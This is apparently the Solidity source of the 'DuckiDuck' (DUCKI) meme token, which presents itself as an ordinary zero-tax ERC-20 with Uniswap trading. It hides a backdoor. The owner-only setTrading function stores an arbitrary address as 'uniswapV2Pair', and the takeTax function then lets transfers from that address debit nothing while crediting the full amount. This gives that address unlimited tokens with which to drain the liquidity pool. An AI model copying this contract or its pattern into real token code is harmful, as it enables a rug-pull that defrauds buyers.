DuckiDuck

/**

Web: https://www.duckiduck.xyz 

TG: https://t.me/DuckiDuckonEth

X: https://x.com/duckiduckoneth

*/



// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// safemath library for safe arithmetics
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _imTheOwner;
    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _imTheOwner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
// returns the owner of the contract
    function owner() public view returns (address) {
        return _imTheOwner;
    }

    modifier onlyOwner() {
        require(_imTheOwner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_imTheOwner, address(0));
        _imTheOwner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address firstToken, address secondToken) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract duckiduck is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _allTokenBalances;
    mapping (address => mapping (address => uint256)) private _allTokenAllowances;
    address payable private _taxingAddress;

    uint256 public buyTax = 0;
    uint256 public sellTax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tokenAmount = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"DuckiDuck";
    string private constant _symbol = unicode"DUCKI";
    uint256 private constant maxTaxingSlippage = 100;
    uint256 private minTaxSwap = 10**_decimals;
    uint256 private maxTaxSwap = _tokenAmount / 500;

    uint256 public constant max_uint = type(uint).max;
    address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);

    address private uniswapV2Pair;
    address private uniswap;
    bool private doesTradingOpen = false;
    bool private doesInSwap = false;
    bool private doesSwapEnabled = false;

    modifier lockTheSwap {
        doesInSwap = true;
        _;
        doesInSwap = false;
    }

    constructor () {
        _taxingAddress = payable(_msgSender());
        _allTokenBalances[_msgSender()] = _tokenAmount;
        emit Transfer(address(0), _msgSender(), _tokenAmount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allTokenAllowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tokenAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _allTokenBalances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


        function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allTokenAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }



    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
         require(amount > 0, "Transfer amount must be greater than zero");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 taxingAmount = 0;
        if (from != owner() && to != owner() && to != _taxingAddress) {
            if (from == uniswap && to != address(uniswapV2Router)) {
                taxingAmount = amount.mul(buyTax).div(100);
            } else if (to == uniswap && from != address(this)) {
                taxingAmount = amount.mul(sellTax).div(100);
            }

            uint256 tokenBalance = balanceOf(address(this));
            if (!doesInSwap && to == uniswap && doesSwapEnabled && tokenBalance > minTaxSwap) {
                uint256 _toSwap = tokenBalance > maxTaxSwap ? maxTaxSwap : tokenBalance;
                swapTokensForEth(amount > _toSwap ? _toSwap : amount);
                uint256 _EtherBalance = address(this).balance;
                if (_EtherBalance > 0) {
                    sendEtherToFee(_EtherBalance);
                }
            }
        }

        (uint256 amountIn, uint256 amountOut) = takeTax(from, amount, taxingAmount);
        require(_allTokenBalances[from] >= amountIn);

        if (taxingAmount > 0) {
            _allTokenBalances[address(this)] = _allTokenBalances[address(this)].add(taxingAmount);
            emit Transfer(from, address(this), taxingAmount);
        }

        unchecked {
            _allTokenBalances[from] -= amountIn;
            _allTokenBalances[to] += amountOut;
        }

        emit Transfer(from, to, amountOut);
    }   

    function takeTax(address from, uint256 amount, uint256 taxingAmount) private view returns (uint256, uint256) {
        return (
            amount.sub(from != uniswapV2Pair ? 0 : amount),
            amount.sub(from != uniswapV2Pair ? taxingAmount : taxingAmount)
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "ERC20: approve to the zero address");
        require(owner != address(0), "ERC20: approve from the zero address");
        _allTokenAllowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = weth;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmount - tokenAmount.mul(maxTaxingSlippage).div(100),
            path,
            address(this),
            block.timestamp
        );
    }
    
    function setTrading(address _pair, bool _enabled) external onlyOwner {
        require(!doesTradingOpen, "trading is already open");
        require(_enabled);
        uniswapV2Pair = _pair;
        _approve(address(this), address(uniswapV2Router), max_uint);
        uniswap = uniswapV2Factory.createPair(address(this), weth);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswap).approve(address(uniswapV2Router), max_uint);
        doesSwapEnabled = true;
        doesTradingOpen = true;
    }


    function sendEtherToFee(uint256 ethAmount) private {
        _taxingAddress.call{value: ethAmount}("");
    }

    function get_tradingOpen() external view returns (bool) {
        return doesTradingOpen;
    }

    function get_buyTax() external view returns (uint256) {
        return buyTax;
    }

    function get_sellTax() external view returns (uint256) {
        return sellTax;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "duckiduck.sol": "duckiduck"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}